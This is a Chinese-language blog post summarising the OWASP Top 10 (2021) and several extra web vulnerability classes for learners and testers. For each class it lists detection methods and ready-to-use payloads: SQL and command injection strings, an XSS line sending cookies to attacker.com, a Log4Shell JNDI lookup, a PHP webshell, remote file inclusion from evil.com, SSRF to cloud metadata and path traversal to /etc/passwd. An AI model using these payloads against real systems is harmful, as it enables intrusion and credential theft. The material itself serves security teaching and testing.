OWSAP TOP 10 - 2021
一、失效的访问控制(Broken Access Control)
口语化概述
用户能访问到本不该看到的页面、数据或功能,例如普通用户直接访问管理员后台,或者通过修改 URL 中的 id=1002 看到别人的订单。
常见出现场景
- URL 中带数字 ID 如
/user?id=123,无权限校验即可改 ID 看他人信息 - 后台管理页面路径可被猜解(如
/admin) - API 未校验身份,比如
/api/order?user_id=xxx直接返回数据
检测方法
- 登录低权限账号,尝试访问高权限 URL
- 修改请求中的 ID、用户名等参数
- 使用工具(Burp 的 Autorize 插件)自动测试越权
典型 Payload / 测试用例
GET /admin/deleteUser?id=1002 # 尝试删除他人
GET /user/info?id=1003 # 越权查看
POST /api/transfer # 修改 toUserId 为他人
二、加密机制失效(Cryptographic Failures)
口语化概述
该加密的地方没加密,或者用了很弱的加密方法(比如 MD5 存密码、HTTP 明文传输),导致敏感信息被偷看或破解。
常见出现场景
- 登录页面只用了 HTTP(无 HTTPS)
- 数据库存密码是明文或 MD5、SHA-1(无盐)
- 返回数据中包含信用卡号、身份证号等敏感信息
检测方法
- 抓包看是否 HTTPS,有没有混合内容
- 查看密码存储方式(通过注入或源码审计)
- 尝试弱加密(如 MD5 解码)
典型 Payload / 测试
- 无特殊注入 payload,主要是检查传输和存储
- 测试工具:Burp 检查响应中是否有敏感字段,SSL/TLS 扫描器
三、注入(Injection)
包括 SQL 注入、命令注入、XSS 等,此处重点归纳 SQL 注入和命令注入。
3.1 SQL 注入
口语化概述
用户输入的字符被拼接到 SQL 语句中,改变了原 SQL 的逻辑,比如输入 ' or '1'='1 能绕过登录,或获取所有数据。
常见出现场景
- 搜索框、登录框、文章 ID 参数
- 任何与数据库交互且直接拼接用户输入的地方
检测方法
- 输入单引号
'看是否报错 - 输入
and 1=1和and 1=2看页面返回是否不同 - 使用
order by或union select测试字段数 - 自动化工具:sqlmap、Burp Scanner
典型 Payload
' or '1'='1' --
' and 1=2 union select 1,2,version() --
' and sleep(5) -- (时间盲注)
' and length(database())=8 --
3.2 命令注入(Command Injection)
口语化概述
应用调用了系统命令(如 ping、nslookup),但没过滤用户输入,攻击者可以用 ;、|、&& 等连接符执行额外命令。
常见出现场景
- ping 工具、nslookup、traceroute 功能
- 调用系统命令的接口,如
?ip=127.0.0.1
检测方法
- 输入
127.0.0.1; whoami看返回 - 使用
| id、&& ls等测试 - DNSLog 或延时判断
典型 Payload
127.0.0.1; whoami
| net user
|| calc
& ipconfig
3.3 XSS(跨站脚本)
口语化概述
攻击者在网页里注入一段恶意 JS 代码,当其他用户访问时,这段代码会在他们浏览器里执行,从而偷 cookie、发请求、弹广告等。
常见出现场景
- 评论区、留言板(存储型)
- 搜索框结果页(反射型)
- 前端 JS 从 URL 取参数直接 innerHTML(DOM 型)
检测方法
- 输入
<script>alert(1)</script>看是否弹窗 - 查看返回的 HTML 是否原样输出
- 使用工具:XSSer、Burp Scanner、ZAP
典型 Payload
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
' onmouseover=alert(1)
窃取 cookie:
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
四、不安全的设计(Insecure Design)
口语化概述
在设计阶段就出了问题,比如“忘记密码”功能会提示“您的邮箱是 a***@gmail.com”,导致可以被枚举用户。这类漏洞不是代码写错,是思路错了。
常见出现场景
- 业务流程缺陷,如密码重置逻辑可被猜解
- 缺少“防御纵深”设计,单点失效即全盘崩溃
- 未做速率限制、未防止自动化攻击
检测方法
- 手动走业务流,看是否能绕过或获取额外信息
- 尝试重放请求、枚举 ID、分析响应差异
典型 Payload / 测试
- 无固定 payload,需业务逻辑测试
- 例如:密码重置时修改响应中的
user_id参数
五、安全配置错误(Security Misconfiguration)
口语化概述
服务器、框架、应用保留了默认配置或开启了调试模式,给了攻击者可乘之机。比如 admin/admin 还能登录,或者看到详细的报错堆栈。
常见出现场景
- 默认账号密码未修改
- 开启 debug 模式,暴露路径、版本信息
- 目录列表开启(可直接浏览目录)
- HTTP 方法未限制(允许 PUT/DELETE)
检测方法
- 访问
/phpinfo.php、/.git/、/backup/等常见路径 - 尝试默认弱口令
- 使用 Nikto、Nmap 扫描配置问题
典型 Payload / 测试
- 无固定 payload,但可尝试:
GET /../../../../etc/passwd
OPTIONS / HTTP/1.1
六、易受攻击和过时的组件(Vulnerable and Outdated Components)
口语化概述
你引用了一个旧版本 Log4j 或者 jQuery,里面带已知漏洞,攻击者可以通过这个组件搞你服务器。
常见出现场景
- 使用老旧框架(ThinkPHP 5.0 有 RCE)
- 前端库版本过低(jQuery 1.x)
- 未定期更新依赖
检测方法
- 查看响应头中的
X-Powered-By、Server - 使用 OWASP Dependency-Check、Snyk、Retire.js
- 手动查看页面引用的 js/css 版本
典型 Payload / 测试
- 针对 Log4Shell:
${jndi:ldap://attacker.com/exp} - 针对 jQuery 等无通用 payload,需查阅对应 CVE
七、身份识别和身份验证失败(Identification and Authentication Failures)
口语化概述
登录、密码重置、会话管理这些功能有缺陷,比如弱密码、无 MFA、会话固定等,导致攻击者能盗用别人身份。
常见出现场景
- 登录无验证码,可暴力破解
- 密码重置链接可被猜解(如 https://site/reset?token=123 )
- 登录后 session id 不变(会话固定)
检测方法
- 尝试弱密码字典爆破
- 测试忘记密码功能是否能枚举用户
- 分析 session cookie 是否可预测
典型 Payload / 测试
- 密码重置:
POST /resetbodyemail=victim@example.com观察响应差异 - 会话固定:先获取一个 session,然后诱导用户登录带着它
八、软件和数据完整性故障(Software and Data Integrity Failures)
口语化概述
代码或数据在传输、存储过程中可能被篡改,比如第三方 CDN 的 JS 被挂了恶意代码,或者 CI/CD 管道被入侵,导致你下载的软件不是原版的。
常见出现场景
- 使用外部 CDN 加载 JS 但未加 SRI 校验
- 反序列化不可信数据
- 构建系统未做签名验证
检测方法
- 查看是否使用 Subresource Integrity (SRI)
- 测试反序列化接口(如 PHP
unserialize) - 审查 CI/CD 配置
典型 Payload
- 反序列化 payload(见第十一节)
- Magecart 类攻击主要通过供应链植入,无统一 payload
九、安全日志记录和监控不足(Security Logging and Monitoring Failures)
口语化概述
系统不记日志,或者记了没人看,导致攻击者在你服务器里待了好几个月你都不知道。比如暴力破解没告警、数据导出无审计。
常见出现场景
- 登录失败不记录
- 无集中日志收集
- 无实时告警机制
检测方法
- 尝试错误登录,看日志系统是否有记录
- 检查是否能无痕访问敏感接口
- 模拟攻击,观察是否为无响应
典型 Payload / 测试
- 无特定 payload,主要是验证是否可被检测到
- 例如:暴力破解 100 次,看是否触发锁定或告警
十、SSRF(Server-Side Request Forgery)
口语化概述
服务器根据用户提供的 URL 去请求资源(如下载图片),攻击者让服务器去访问内网服务、本地文件或云元数据,从而窃取信息。
常见出现场景
- 图片下载功能:
?url=http://example.com/logo.png - 网页截图、PDF 生成、Webhook 回调
- 内网探测
检测方法
- 输入
http://127.0.0.1:80看响应 - 使用
dict://、file://等协议测试 - DNSLog 检测:
http://xxx.dnslog.cn看是否有请求
典型 Payload
http://169.254.169.254/latest/meta-data/ (云厂商元数据)
file:///etc/passwd
dict://127.0.0.1:6379/INFO
http://localhost:8080/admin
十一、反序列化漏洞(重点补充)
口语化概述
程序把用户传过来的序列化字符串还原成对象(反序列化),如果没校验,攻击者可以伪造一个恶意对象,当对象被销毁或调用魔法函数时,会执行危险操作(如 system、文件读取)。
常见出现场景
- PHP 使用
unserialize($_GET['data']) - Java 的
readObject() - 使用了
phar://协议的文件操作函数(如file_exists('phar://upload.jpg'))
检测方法
- 寻找
unserialize、readObject等关键词 - 尝试输入
O:1:"A":0:{}看是否报错或异常 - 代码审计找魔法函数
__destruct、__wakeup、__toString等
典型 Payload(PHP)
// 构造
class Exploit { public $cmd = "whoami"; }
echo serialize(new Exploit());
// 结果:O:7:"Exploit":1:{s:3:"cmd";s:6:"whoami";}
利用 phar:// 触发:
?file=phar://uploads/shell.jpg
十二、文件上传漏洞
口语化概述
上传功能只检查了前端或文件类型,攻击者可以上传一个 .php 脚本(Webshell),访问后就能执行命令。
常见出现场景
- 头像上传、附件上传、导入功能
- 允许上传
.php、.jsp、.phtml等可执行文件
检测方法
- 尝试上传
.php文件,看能否返回路径 - 修改
Content-Type为image/jpeg - 使用双扩展名、大小写、空字节绕过
典型 Payload
- 文件内容:
<?php system($_GET['cmd']); ?> - 文件名:
shell.php.jpg、shell.php%00.jpg、shell.phtml - 图片马:
copy normal.jpg + shell.php shell_ma.jpg
十三、文件包含漏洞(LFI / RFI)
口语化概述
程序动态包含文件,用户能控制包含的路径,从而读取服务器上的任意文件(LFI),或者让服务器执行远程的恶意脚本(RFI)。
常见出现场景
- 参数
?page=home、?lang=en - 主题切换、模板加载
检测方法
- 输入
../../../../etc/passwd看内容 - 尝试
php://filter/convert.base64-encode/resource=config.php - 测试 RFI:
?page=http://attacker.com/shell.txt
典型 Payload
../../../../etc/passwd
..\..\..\windows\win.ini
php://filter/read=convert.base64-encode/resource=index.php
?page=http://evil.com/shell.txt
十四、任意文件下载漏洞
口语化概述
下载文件接口直接用了用户提供的文件名,没有限制目录,导致可以下载源码、配置文件等敏感文件。
常见出现场景
?file=report.pdf- 附件下载、备份下载
检测方法
- 修改参数为
../../config.php - 尝试读取
/etc/passwd或C:\windows\win.ini
典型 Payload
../../../../etc/passwd
..\..\..\windows\win.ini
../../config/database.php
file:///etc/passwd
php://filter/convert.base64-encode/resource=index.php
总结:漏洞检测通用思路
- 信息收集:确定功能点(参数、上传、包含、下载等)
- 手工试探:输入特殊字符(单引号、
../、<script>等)观察响应 - 自动化扫描:使用 sqlmap、Burp 扫描器、Xray、Nuclei
- 代码审计(如果有源码):搜索危险函数(
eval、include、unserialize、system、file_get_contents等)
防护核心原则
- 不要信任用户输入:所有输入都要校验、过滤、编码
- 最小权限:文件权限、数据库权限、服务运行权限
- 纵深防御:WAF + 代码层过滤 + 日志监控 + 及时打补丁
本文来自博客园,作者:Xiewt,转载请注明原文链接:https://www.cnblogs.com/Xiewt/p/19932862

浙公网安备 33010602011771号